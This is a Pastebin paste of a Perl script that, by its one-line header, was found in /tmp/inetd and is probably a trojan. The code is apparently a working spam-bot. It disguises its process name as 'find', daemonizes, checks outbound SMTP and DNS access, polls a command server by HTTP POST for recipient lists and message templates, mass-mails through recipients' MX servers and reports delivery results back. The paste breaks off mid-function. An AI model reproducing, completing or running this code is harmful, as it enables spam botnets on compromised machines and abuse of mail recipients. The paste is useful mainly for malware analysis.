Guest User

Untitled

a guest
Jun 17th, 2018
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 38.14 KB | None | 0 0
  1. Found in /tmp/inetd (probably a trojan) :
  2.  
  3. #!/usr/bin/perl
  4. use strict; use IO::Socket; use IO::Select; $0 = 'find'; $| = 1;
  5. my ($E_WOULDBLOCK, $E_INPROGRESS) = ($^O eq "MSWin32" ? (10035, 10036) : ($^O eq "freebsd" ? (35, 36) : ($^O eq "linux" ? (11, 115) : (11, 150))));
  6. my $test = {os => [$^O], ip => ["0.0.0.0", "checkip.dyndns.org", "checkip.org"], tcp25 => [0, "94.100.176.20", "65.55.92.184", "mailin-01.mx.aol.com", "a.mx.mail.yahoo.com"], udp53 => [0, "dns-01.ns.aol.com", "ns1.yahoo.com"], tcp53 => [0, "dns-01.ns.aol.com", "ns1.yahoo.com"], tcp80 => [0, "aol.com", "yahoo.com"]}; &init();
  7. exit 0;
  8. sub main
  9. {
  10. my $s_host = shift; my $s_port = shift; my $s_path = shift; my $s_nsex = shift;
  11. if ($^O ne "MSWin32")
  12. {
  13. use POSIX qw(setsid);
  14. return unless defined (my $child = fork);
  15. return if $child;
  16. POSIX::setsid();
  17. $SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
  18. umask 0;
  19. chdir "/";
  20. open (STDIN, "</dev/null");
  21. open (STDOUT, ">/dev/null");
  22. open (STDERR, ">&STDOUT");
  23. }
  24. &test(); exit 0 if $test->{tcp25}[0] != 1;
  25. if ($test->{udp53}[0] != 1 && $test->{tcp53}[0] != 1)
  26. {
  27. exit 0 if !defined $s_nsex;
  28. $s_nsex = pack ("C4", split (/\./, $s_nsex));
  29. }
  30. else
  31. {
  32. $s_nsex = undef;
  33. }
  34. srand; my $pid = $$; $pid = 1 + int rand 2147483648 if !defined $pid || $pid !~ /^\d+$/ || $pid > 4294967295;
  35. my $s = {version => 6, command => 0, size => 0, timeout => 60, request => 1, host => (gethostbyname $s_host)[4]}; exit 0 unless $s->{host};
  36. my $b =
  37. {
  38. id          => 0,
  39. ip          => "",
  40. helo        => undef,
  41. timezone    => [["+", "-"]->[int rand 2], (1 + int rand 6)],
  42. nameserver  => [],
  43. timeout     => 10,
  44. session     => 0,
  45. copies      => 1,
  46. method      => 0,
  47. spf         => 0,
  48. level       => 0,
  49. mailbase    => [],
  50. from        => [],
  51. replyto     => [],
  52. subject     => [],
  53. header      => "",
  54. letter      => "",
  55. priority    => 1,
  56. type        => 0,
  57. charset     => "",
  58. good        => [0, ""],
  59. unlucky     => [0, ""],
  60. bad         => [0, ""],
  61. report      => ""
  62. };
  63. my $readers = IO::Select->new() or exit 0;
  64. my $writers = IO::Select->new() or exit 0;
  65. my $session = {};
  66. my $flagset = {timeout => 1};
  67. my $cache = {};
  68. my $reset_time = time;
  69. my $reset_wait = 120;
  70. my $reset_stat = 0;
  71. my $first_exec = 1;
  72. my $request_time = time;
  73. my $request_flag = 1;
  74. my $counter_addr = 0;
  75. #
  76. my $destroy = sub
  77. {
  78. my ($object, $handle) = @_;
  79. #
  80. if ($session->{$handle}{status} =~ /^rs/)
  81. {
  82. $request_flag = 1;
  83. }
  84. elsif (exists $session->{$handle}{object})
  85. {
  86. if ($_ = shift @{$session->{$handle}{object}})
  87. {
  88. $b->{unlucky}[0] ++;
  89. if ($b->{level})
  90. {
  91. $b->{unlucky}[1] .= "$_\x0A";
  92. $b->{report} .= "$_ - [$session->{$handle}{status}] Timeout\x0A" if $b->{level} > 1;
  93. }
  94. #
  95. push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
  96. }
  97. }
  98. if (exists $session->{$handle}{mx})
  99. {
  100. $cache->{$session->{$handle}{mx}}[1] -- if $cache->{$session->{$handle}{mx}}[1] > 0;
  101. }
  102. delete $session->{$handle};
  103. $object->remove($handle);
  104. close $handle;
  105. };
  106. #
  107. while (1)
  108. {
  109. #
  110. IO::Select->select(undef, undef, undef, 0.01);
  111. #
  112. my $time = time;
  113. if ($reset_stat != ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
  114. {
  115. $reset_stat = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
  116. $reset_time = $time + $reset_wait;
  117. }
  118. if ($time >= $reset_time)
  119. {
  120. $reset_time = $time + $reset_wait;
  121. $reset_stat = 0;
  122. $counter_addr = 0;
  123. $b->{$_} = [] for (qw (mailbase from replyto subject));
  124. $b->{$_} = [0, ""] for (qw (good unlucky bad));
  125. $b->{report} = "";
  126. $cache = {};
  127. $session = {};
  128. my $ha = [$writers->handles];
  129. foreach my $hs (@$ha) { $writers->remove($hs); close $hs; }
  130. $ha = [$readers->handles];
  131. foreach my $hs (@$ha) { $readers->remove($hs); close $hs; }
  132. $request_flag = 1;
  133. $request_time = time;
  134. next;
  135. }
  136. #
  137. if ($request_flag && $time >= $request_time)
  138. {
  139. while (1)
  140. {
  141. #
  142. my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
  143. #
  144. last unless $socket;
  145. #
  146. if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
  147. #
  148. unless ($socket->connect($_ = sockaddr_in($s_port, $s->{host})))
  149. {
  150. if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
  151. {
  152. #
  153. #
  154. close $socket;
  155. #
  156. last;
  157. }
  158. }
  159. #
  160. #
  161. unless ($writers->add($socket))
  162. {
  163. #
  164. #
  165. close $socket;
  166. #
  167. last;
  168. }
  169. #
  170. $session->{$socket} =
  171. {
  172. status  => "rs_cn",
  173. buffer  => "",
  174. flagset => $flagset->{timeout},
  175. timeout => 0
  176. };
  177. $s->{$_} = 0 for (qw (command size));
  178. if ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
  179. {
  180. $s->{command} = 1;
  181. $s->{command} = 2 if $first_exec;
  182. $reset_time = $time + $reset_wait;
  183. $reset_stat = 0;
  184. if ($counter_addr)
  185. {
  186. $s->{size} = 16;
  187. $session->{$socket}{buffer} .= pack ("L", $b->{id});
  188. $session->{$socket}{buffer} .= pack ("L", $b->{$_}[0]) for (qw (good unlucky bad));
  189. if ($b->{level})
  190. {
  191. for (qw (good unlucky bad))
  192. {
  193. $s->{size} += (4 + length $b->{$_}[1]);
  194. $session->{$socket}{buffer} .= pack ("L", length $b->{$_}[1]);
  195. $session->{$socket}{buffer} .= $b->{$_}[1];
  196. }
  197. if ($b->{level} > 1)
  198. {
  199. $s->{size} += (4 + length $b->{report});
  200. $session->{$socket}{buffer} .= pack ("L", length $b->{report});
  201. $session->{$socket}{buffer} .= $b->{report};
  202. }
  203. }
  204. }
  205. }
  206. $session->{$socket}{buffer} = pack ("SC2L2", 0x0F0F, $s->{version}, $s->{command}, $pid, $s->{size}) . $session->{$socket}{buffer};
  207. $s->{size} = length $session->{$socket}{buffer};
  208. $session->{$socket}{buffer} = "POST $s_path HTTP/1.0\x0D\x0AHost: $s_host\x0D\x0AContent-type: application/x-www-form-urlencoded\x0D\x0AContent-Length: $s->{size}\x0D\x0A\x0D\x0A$session->{$socket}{buffer}";
  209. #
  210. $request_flag = 0;
  211. #
  212. last;
  213. }
  214. }
  215. #
  216. if (my $mail_array = shift @{$b->{mailbase}})
  217. {
  218. while (scalar @$mail_array)
  219. {
  220. #
  221. my $mail = @{$mail_array}[0];
  222. my ($mx) = &mail(\$mail);
  223. $mx = lc ((split /\@/, $$mx)[1]);
  224. my $type = 15;
  225. if (exists $cache->{$mx})
  226. {
  227. my $sv = $mx;
  228. $mx = $cache->{$sv}[0];
  229. if ($mx =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
  230. {
  231. $cache->{$sv}[1] = 0 unless $cache->{$sv}[1];
  232. if ($b->{session} && ($cache->{$sv}[1] >= $b->{session}))
  233. {
  234. #
  235. push @{$b->{mailbase}}, $mail_array;
  236. #
  237. last;
  238. }
  239. if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255)
  240. {
  241. while ($_ = shift @$mail_array)
  242. {
  243. $b->{bad}[0] ++;
  244. if ($b->{level})
  245. {
  246. $b->{bad}[1] .= "$_\x0A";
  247. $b->{report} .= "$_ - [mx_ip] Object non exists\x0A" if $b->{level} > 1;
  248. }
  249. }
  250. #
  251. last;
  252. }
  253. $mx = pack ("C4", $1, $2, $3, $4);
  254. #
  255. #
  256. my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
  257. #
  258. unless ($socket)
  259. {
  260. #
  261. push @{$b->{mailbase}}, $mail_array;
  262. #
  263. last;
  264. }
  265. #
  266. if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
  267. #
  268. unless ($socket->connect($_ = sockaddr_in(25, $mx)))
  269. {
  270. if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
  271. {
  272. #
  273. #
  274. close $socket;
  275. $b->{unlucky}[0] ++;
  276. if ($b->{level})
  277. {
  278. $b->{unlucky}[1] .= "$mail\x0A";
  279. $b->{report} .= "$mail - [mx_cn] Can't connect\x0A" if $b->{level} > 1;
  280. }
  281. #
  282. shift @$mail_array;
  283. #
  284. push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
  285. #
  286. last;
  287. }
  288. }
  289. #
  290. #
  291. unless ($writers->add($socket))
  292. {
  293. #
  294. #
  295. close $socket;
  296. #
  297. push @{$b->{mailbase}}, $mail_array;
  298. #
  299. last;
  300. }
  301. $cache->{$sv}[1] ++;
  302. my $sender = @{$b->{from}}[int rand scalar @{$b->{from}}];
  303. $sender =~ s/\@.+$/\@$b->{helo}/ if ($b->{spf} && $b->{helo} ne "localhost");
  304. #
  305. $session->{$socket} =
  306. {
  307. status  => "mx_cn",
  308. mx      => $sv,
  309. buffer  => "",
  310. object  => $mail_array,
  311. mindex  => 0,
  312. sender  => $sender,
  313. flagset => $flagset->{timeout},
  314. timeout => 0
  315. };
  316. #
  317. last;
  318. }
  319. else
  320. {
  321. #
  322. $type = 1;
  323. }
  324. }
  325. else
  326. {
  327. #
  328. $type = 15;
  329. }
  330. #
  331. my $socket;
  332. if ($test->{udp53}[0] == 1)
  333. {
  334. $socket = IO::Socket::INET->new(Proto => "udp");
  335. }
  336. else
  337. {
  338. $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
  339. }
  340. #
  341. unless ($socket)
  342. {
  343. #
  344. push @{$b->{mailbase}}, $mail_array;
  345. #
  346. last;
  347. }
  348. #
  349. if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
  350. if ($test->{udp53}[0] == 0)
  351. {
  352. #
  353. my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;
  354. if (defined $s_nsex) { $nameserver = sockaddr_in(25, $s_nsex); } else { $nameserver = sockaddr_in(53, $nameserver); }
  355. unless ($socket->connect($nameserver))
  356. {
  357. if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
  358. {
  359. #
  360. #
  361. close $socket;
  362. $b->{unlucky}[0] ++;
  363. if ($b->{level})
  364. {
  365. $b->{unlucky}[1] .= "$mail\x0A";
  366. $b->{report} .= "$mail - [ns_cn] Can't connect\x0A" if $b->{level} > 1;
  367. }
  368. #
  369. shift @$mail_array;
  370. #
  371. push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
  372. #
  373. last;
  374. }
  375. }
  376. }
  377. #
  378. unless ($writers->add($socket))
  379. {
  380. #
  381. #
  382. close $socket;
  383. #
  384. push @{$b->{mailbase}}, $mail_array;
  385. #
  386. last;
  387. }
  388. #
  389. $session->{$socket} =
  390. {
  391. status  => "ns_wr",
  392. buffer  => "",
  393. object  => $mail_array,
  394. sender  => 0,
  395. flagset => $flagset->{timeout},
  396. timeout => 0,
  397. type    => $type,
  398. packet  => int rand 65536,
  399. size    => 0
  400. };
  401. #
  402. $session->{$socket}{buffer} .= pack ("nSn4", $session->{$socket}{packet}, 1, 1, 0, 0, 0);
  403. $session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $mx));
  404. $session->{$socket}{buffer} .= pack ("Cn2", 0, $session->{$socket}{type}, 1);
  405. $session->{$socket}{sender} = length $session->{$socket}{buffer};
  406. if ($test->{udp53}[0] == 0)
  407. {
  408. $session->{$socket}{status} = "ns_cn";
  409. $session->{$socket}{buffer} = join ("", pack ("n", $session->{$socket}{sender}), $session->{$socket}{buffer});
  410. }
  411. #
  412. last;
  413. }
  414. }
  415. elsif ($counter_addr && !scalar keys %$session)
  416. {
  417. $counter_addr = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]) if $counter_addr > ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
  418. $request_time = $time if $counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
  419. }
  420. #
  421. my $writable = [$writers->handles];
  422. foreach my $handle (@$writable)
  423. {
  424. #
  425. if ($session->{$handle}{flagset} & $flagset->{timeout})
  426. {
  427. #
  428. #
  429. if ($session->{$handle}{status} =~ /^rs/)
  430. {
  431. #
  432. $session->{$handle}{timeout} = $time + $s->{timeout};
  433. }
  434. else
  435. {
  436. #
  437. $session->{$handle}{timeout} = $time + $b->{timeout};
  438. }
  439. #
  440. $session->{$handle}{flagset} ^= $flagset->{timeout};
  441. }
  442. elsif ($time >= $session->{$handle}{timeout})
  443. {
  444. #
  445. #
  446. $destroy->($writers, $handle);
  447. }
  448. }
  449. #
  450. $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
  451. foreach my $handle (@$writable)
  452. {
  453. if ($session->{$handle}{status} =~ /cn$/)
  454. {
  455. #
  456. if ($handle->connected)
  457. {
  458. #
  459. #
  460. #
  461. #
  462. if ($session->{$handle}{status} eq "rs_cn")
  463. {
  464. $session->{$handle}{status} = "rs_wr";
  465. }
  466. elsif ($session->{$handle}{status} eq "ns_cn")
  467. {
  468. $session->{$handle}{status} = "ns_wr";
  469. }
  470. else
  471. {
  472. $session->{$handle}{status} = "mx_rd";
  473. #
  474. unless ($readers->add($handle))
  475. {
  476. #
  477. #
  478. $destroy->($writers, $handle);
  479. #
  480. next;
  481. }
  482. #
  483. $writers->remove($handle);
  484. }
  485. }
  486. else
  487. {
  488. #
  489. #
  490. $destroy->($writers, $handle);
  491. }
  492. }
  493. else
  494. {
  495. #
  496. my $result;
  497. if ($session->{$handle}{status} eq "ns_wr")
  498. {
  499. if ($test->{udp53}[0] == 0)
  500. {
  501. $result = $handle->send($session->{$handle}{buffer});
  502. }
  503. else
  504. {
  505. my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;
  506. $result = $handle->send($session->{$handle}{buffer}, 0, $_ = sockaddr_in(53, $nameserver));
  507. }
  508. }
  509. else
  510. {
  511. $result = syswrite ($handle, $session->{$handle}{buffer});
  512. }
  513. if (defined $result && $result > 0)
  514. {
  515. #
  516. #
  517. #
  518. #
  519. #
  520. substr ($session->{$handle}{buffer}, 0, $result) = "";
  521. #
  522. if (length $session->{$handle}{buffer} < 1)
  523. {
  524. #
  525. #
  526. if ($session->{$handle}{status} eq "rs_wr")
  527. {
  528. $session->{$handle}{status} = "rs_rd";
  529. #
  530. if ($s->{command} && $counter_addr && ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0])))
  531. {
  532. $counter_addr = 0;
  533. $b->{$_} = [] for (qw (mailbase from replyto subject));
  534. $b->{$_} = [0, ""] for (qw (good unlucky bad));
  535. $b->{report} = "";
  536. $cache = {};
  537. }
  538. #
  539. $request_time = $time + $s->{request} * 60;
  540. }
  541. elsif ($session->{$handle}{status} eq "ns_wr")
  542. {
  543. $session->{$handle}{status} = "ns_rd";
  544. }
  545. #
  546. unless ($readers->add($handle))
  547. {
  548. #
  549. #
  550. $destroy->($writers, $handle);
  551. #
  552. next;
  553. }
  554. #
  555. $writers->remove($handle);
  556. }
  557. }
  558. elsif ($! == $E_WOULDBLOCK)
  559. {
  560. #
  561. #
  562. next;
  563. }
  564. else
  565. {
  566. #
  567. #
  568. $destroy->($writers, $handle);
  569. }
  570. }
  571. }
  572. #
  573. my $readable = [$readers->handles];
  574. foreach my $handle (@$readable)
  575. {
  576. #
  577. if ($session->{$handle}{flagset} & $flagset->{timeout})
  578. {
  579. #
  580. #
  581. if ($session->{$handle}{status} =~ /^rs/)
  582. {
  583. #
  584. $session->{$handle}{timeout} = $time + $s->{timeout};
  585. }
  586. else
  587. {
  588. #
  589. $session->{$handle}{timeout} = $time + $b->{timeout};
  590. }
  591. #
  592. $session->{$handle}{flagset} ^= $flagset->{timeout};
  593. }
  594. elsif ($time >= $session->{$handle}{timeout})
  595. {
  596. #
  597. #
  598. $destroy->($readers, $handle);
  599. }
  600. }
  601. #
  602. $readable = (IO::Select->select($readers, undef, undef, 0))[0];
  603. foreach my $handle (@$readable)
  604. {
  605. #
  606. my $result;
  607. if ($session->{$handle}{status} eq "ns_rd")
  608. {
  609. if ($test->{udp53}[0] == 0)
  610. {
  611. my $tempbuffer = "";
  612. if ($session->{$handle}{size} == 0)
  613. {
  614. $handle->recv($tempbuffer, (2 - length $session->{$handle}{buffer}));
  615. $session->{$handle}{buffer} .= $tempbuffer;
  616. if (2 == length $session->{$handle}{buffer})
  617. {
  618. $session->{$handle}{size} = unpack ("n", $session->{$handle}{buffer});
  619. $session->{$handle}{buffer} = "";
  620. }
  621. next;
  622. }
  623. $handle->recv($tempbuffer, ($session->{$handle}{size} - length $session->{$handle}{buffer}));
  624. $session->{$handle}{buffer} .= $tempbuffer;
  625. if ($session->{$handle}{size} == length $session->{$handle}{buffer})
  626. {
  627. $result = $session->{$handle}{size};
  628. }
  629. }
  630. else
  631. {
  632. $result = $handle->recv($session->{$handle}{buffer}, 512);
  633. $result = length $session->{$handle}{buffer} if defined $result;
  634. }
  635. }
  636. else
  637. {
  638. $result = sysread ($handle, $session->{$handle}{buffer}, 16384, length $session->{$handle}{buffer});
  639. }
  640. if (defined $result)
  641. {
  642. #
  643. if ($result > 0)
  644. {
  645. #
  646. #
  647. #
  648. #
  649. if ($session->{$handle}{status} eq "rs_rd")
  650. {
  651. #
  652. next if 4 > length $session->{$handle}{buffer};
  653. if ($session->{$handle}{buffer} !~ /^HTTP/)
  654. {
  655. #
  656. #
  657. $destroy->($readers, $handle);
  658. #
  659. next;
  660. }
  661. else
  662. {
  663. #
  664. my $offset = index ($session->{$handle}{buffer}, "\x0D\x0A\x0D\x0A");
  665. #
  666. next unless $offset >= 0;
  667. #
  668. if ($session->{$handle}{buffer} =~ /^HTTP\S+\s+([^\x0D\x0A]*)/)
  669. {
  670. if ($1 !~ /^200/)
  671. {
  672. #
  673. #
  674. $destroy->($readers, $handle);
  675. #
  676. next;
  677. }
  678. $offset += 4;
  679. #
  680. #
  681. next if 10 > (length $session->{$handle}{buffer}) - $offset;
  682. #
  683. my $server =
  684. {
  685. sign        => 0,
  686. timeout     => 0,
  687. request     => 0,
  688. command     => 0,
  689. size        => 0
  690. };
  691. @_ = unpack ("S2C2L", substr ($session->{$handle}{buffer}, $offset, 10));
  692. $server->{$_} = shift @_ for (qw (sign timeout request command size));
  693. if ($server->{sign} != 0xAFAF)
  694. {
  695. #
  696. #
  697. $destroy->($readers, $handle);
  698. #
  699. next;
  700. }
  701. #
  702. $first_exec = 0;
  703. exit 0 if $server->{command};
  704. #
  705. $s->{timeout} = $server->{timeout};
  706. $s->{request} = $server->{request};
  707. #
  708. $request_time = $time + $s->{request} * 60;
  709. #
  710. unless ($server->{size})
  711. {
  712. #
  713. #
  714. $destroy->($readers, $handle);
  715. #
  716. next;
  717. }
  718. #
  719. $offset += 10;
  720. #
  721. next if $server->{size} > (length $session->{$handle}{buffer}) - $offset;
  722. #
  723. substr ($session->{$handle}{buffer}, 0, $offset) = "";
  724. @_ = unpack ("La4", substr ($session->{$handle}{buffer}, 0, 8, ""));
  725. $b->{$_} = shift @_ for (qw (id ip));
  726. $b->{nameserver} = [];
  727. push @{$b->{nameserver}}, substr ($session->{$handle}{buffer}, 0, 4, "") for (1..16);
  728. @_ = unpack ("S2C4", substr ($session->{$handle}{buffer}, 0, 8, ""));
  729. $b->{$_} = shift @_ for (qw (timeout session copies method spf level));
  730. @{$b->{$_}} = split ("\x0A", substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "")) for (qw (mailbase from replyto subject));
  731. $counter_addr = scalar @{$b->{mailbase}};
  732. my $mailbase_temp = {};
  733. while (my $mail_temp = shift @{$b->{mailbase}})
  734. {
  735. my ($host_temp) = &mail(\$mail_temp);
  736. $host_temp = lc ((split /\@/, $$host_temp)[1]);
  737. $mailbase_temp->{$host_temp} = [] unless exists $mailbase_temp->{$host_temp};
  738. push @{$mailbase_temp->{$host_temp}}, $mail_temp;
  739. }
  740. foreach my $host_temp (keys %$mailbase_temp)
  741. {
  742. while (scalar @{$mailbase_temp->{$host_temp}})
  743. {
  744. my $mail_temp = [];
  745. for (1..$b->{copies})
  746. {
  747. last unless scalar @{$mailbase_temp->{$host_temp}};
  748. push @$mail_temp, shift @{$mailbase_temp->{$host_temp}};
  749. }
  750. push @{$b->{mailbase}}, $mail_temp;
  751. }
  752. }
  753. undef $mailbase_temp;
  754. #
  755. #
  756. $b->{header} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
  757. unless ($b->{header})
  758. {
  759. $b->{header} = ['Date: %DATE%', 'From: %FROMADDR%', 'Reply-To: %REPLYTOADDR%', 'X-Priority: %NPRIORITY%', 'Message-ID: <%MESSAGEID%@%HELO%>', 'To: %TOADDR%', 'Subject: %SUBJECT%'];
  760. $b->{header} = join ("\x0D\x0A", @{$b->{header}}, 'MIME-Version: 1.0', 'Content-Type: text/%TYPE%; charset=%CHARSET%', 'Content-Transfer-Encoding: %ENCODING%');
  761. }
  762. $b->{letter} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
  763. $b->{letter} = "" unless $b->{letter};
  764. $b->{$_} = unpack ("C", substr ($session->{$handle}{buffer}, 0, 1, "")) for (qw (priority type));
  765. $b->{charset} = substr ($session->{$handle}{buffer}, 0, length $session->{$handle}{buffer}, "");
  766. $b->{ip} = join (".", unpack ("C4", $b->{ip}));
  767. unless ($b->{helo})
  768. {
  769. if (defined $s_nsex)
  770. {
  771. $b->{helo} = &nsptr($_ = sockaddr_in(25, $s_nsex), 3, $b->{ip});
  772. }
  773. else
  774. {
  775. $b->{helo} = &nsptr($_ = sockaddr_in(53, $b->{nameserver}[0]), 3, $b->{ip});
  776. $b->{helo} = &nsptr($_ = sockaddr_in(53, pack ("C4", split (/\./, "8.8.8.8"))), 3, $b->{ip}) unless $b->{helo};
  777. }
  778. $b->{helo} = "localhost" unless $b->{helo};
  779. }
  780. $b->{report} = "\x0ACLIENT V.$s->{version} IP=$b->{ip} PTR=$b->{helo} ID=$b->{id}\x0A\x0A" if $b->{level} > 1;
  781. #
  782. #
  783. $destroy->($readers, $handle);
  784. #
  785. next;
  786. }
  787. else
  788. {
  789. #
  790. #
  791. $destroy->($readers, $handle);
  792. #
  793. next;
  794. }
  795. }
  796. }
  797. elsif ($session->{$handle}{status} eq "ns_rd")
  798. {
  799. if (length $session->{$handle}{buffer})
  800. {
  801. my ($resp, $code) = &nsparser(\$session->{$handle}{buffer}, $session->{$handle}{sender}, $session->{$handle}{packet}, $session->{$handle}{type});
  802. if ($resp == 2)
  803. {
  804. while ($_ = shift @{$session->{$handle}{object}})
  805. {
  806. $b->{bad}[0] ++;
  807. if ($b->{level})
  808. {
  809. $b->{bad}[1] .= "$_\x0A";
  810. $b->{report} .= "$_ - [ns_rd] $code\x0A" if $b->{level} > 1;
  811. }
  812. }
  813. }
  814. elsif ($resp == 1)
  815. {
  816. $resp = shift @{$session->{$handle}{object}};
  817. $b->{unlucky}[0] ++;
  818. if ($b->{level})
  819. {
  820. $b->{unlucky}[1] .= "$resp\x0A";
  821. $b->{report} .= "$resp - [ns_rd] $code\x0A" if $b->{level} > 1;
  822. }
  823. push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
  824. }
  825. else
  826. {
  827. $resp = @{$session->{$handle}{object}}[0];
  828. ($resp) = &mail(\$resp);
  829. $resp = lc ((split /\@/, $$resp)[1]);
  830. $cache->{$resp}[0] = $code;
  831. #
  832. push @{$b->{mailbase}}, $session->{$handle}{object};
  833. }
  834. delete $session->{$handle}{object};
  835. #
  836. $destroy->($readers, $handle);
  837. #
  838. next;
  839. }
  840. }
  841. elsif ($session->{$handle}{buffer} =~ /^[^\-]{4}.*\x0D\x0A$/m)
  842. {
  843. if ($session->{$handle}{buffer} !~ /^(2|3)/)
  844. {
  845. if ($b->{level} > 1)
  846. {
  847. $session->{$handle}{buffer} =~ s/\x0D//g;
  848. $session->{$handle}{buffer} =~ s/[\x09|\x0A]+/\x20/g;
  849. }
  850. $session->{$handle}{mindex} -- if $session->{$handle}{mindex} > 0;
  851. if ($session->{$handle}{status} =~ /^mx_(rd|gr)$/)
  852. {
  853. while ($_ = shift @{$session->{$handle}{object}})
  854. {
  855. $b->{unlucky}[0] ++;
  856. if ($b->{level})
  857. {
  858. $b->{unlucky}[1] .= "$_\x0A";
  859. $b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  860. }
  861. }
  862. #
  863. delete $session->{$handle}{object};
  864. $destroy->($readers, $handle);
  865. #
  866. next;
  867. }
  868. elsif ($session->{$handle}{status} =~ /^mx_(mf|rt)$/)
  869. {
  870. if ($session->{$handle}{buffer} =~ /\d+\.\d+\.\d+\.\d+/g || $session->{$handle}{buffer} =~ /( ip |block|black|reject|later|many)/ig)
  871. {
  872. #
  873. while ($_ = shift @{$session->{$handle}{object}})
  874. {
  875. $b->{unlucky}[0] ++;
  876. if ($b->{level})
  877. {
  878. $b->{unlucky}[1] .= "$_\x0A";
  879. $b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  880. }
  881. }
  882. #
  883. delete $session->{$handle}{object};
  884. $destroy->($readers, $handle);
  885. #
  886. next;
  887. }
  888. else
  889. {
  890. #
  891. $b->{bad}[0] ++;
  892. if ($b->{level})
  893. {
  894. $b->{bad}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
  895. $b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Invalid recipient $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  896. }
  897. splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
  898. unless (scalar @{$session->{$handle}{object}})
  899. {
  900. #
  901. delete $session->{$handle}{object};
  902. $destroy->($readers, $handle);
  903. #
  904. next;
  905. }
  906. }
  907. }
  908. else
  909. {
  910. $b->{unlucky}[0] ++;
  911. if ($b->{level})
  912. {
  913. $b->{unlucky}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
  914. $b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Delivery error $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
  915. }
  916. splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
  917. push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
  918. #
  919. delete $session->{$handle}{object};
  920. $destroy->($readers, $handle);
  921. #
  922. next;
  923. }
  924. }
  925. if ($session->{$handle}{status} eq "mx_rd")
  926. {
  927. my $helo = $b->{helo};
  928. #
  929. #
  930. #
  931. #
  932. #
  933. $session->{$handle}{buffer} = "HELO $helo\x0D\x0A";
  934. $session->{$handle}{status} = "mx_gr";
  935. }
  936. elsif ($session->{$handle}{status} eq "mx_gr")
  937. {
  938. my ($mail) = &mail(\$session->{$handle}{sender});
  939. $session->{$handle}{buffer} = "MAIL FROM: <$$mail>\x0D\x0A";
  940. $session->{$handle}{status} = "mx_mf";
  941. }
  942. elsif ($session->{$handle}{status} eq "mx_mf")
  943. {
  944. my ($mail) = &mail(\$session->{$handle}{object}[$session->{$handle}{mindex}]);
  945. $session->{$handle}{buffer} = "RCPT TO: <$$mail>\x0D\x0A";
  946. $session->{$handle}{mindex} ++;
  947. $session->{$handle}{status} = $session->{$handle}{mindex} >= scalar @{$session->{$handle}{object}} ? "mx_rt" : "mx_mf";
  948. }
  949. elsif ($session->{$handle}{status} eq "mx_rt")
  950. {
  951. $session->{$handle}{buffer} = "DATA\x0D\x0A";
  952. $session->{$handle}{status} = "mx_dt";
  953. }
  954. elsif ($session->{$handle}{status} eq "mx_dt")
  955. {
  956. $session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender}, $b);
  957. $session->{$handle}{buffer} .= "\x0D\x0A.\x0D\x0A";
  958. $session->{$handle}{status} = "mx_dr";
  959. }
  960. elsif ($session->{$handle}{status} eq "mx_dr")
  961. {
  962. $b->{good}[0] += scalar @{$session->{$handle}{object}};
  963. if ($b->{level})
  964. {
  965. while ($_ = shift @{$session->{$handle}{object}})
  966. {
  967. $b->{good}[1] .= "$_\x0A";
  968. }
  969. }
  970. delete $session->{$handle}{object};
  971. $session->{$handle}{buffer} = "QUIT\x0D\x0A";
  972. $session->{$handle}{status} = "mx_qt";
  973. }
  974. else
  975. {
  976. $destroy->($readers, $handle);
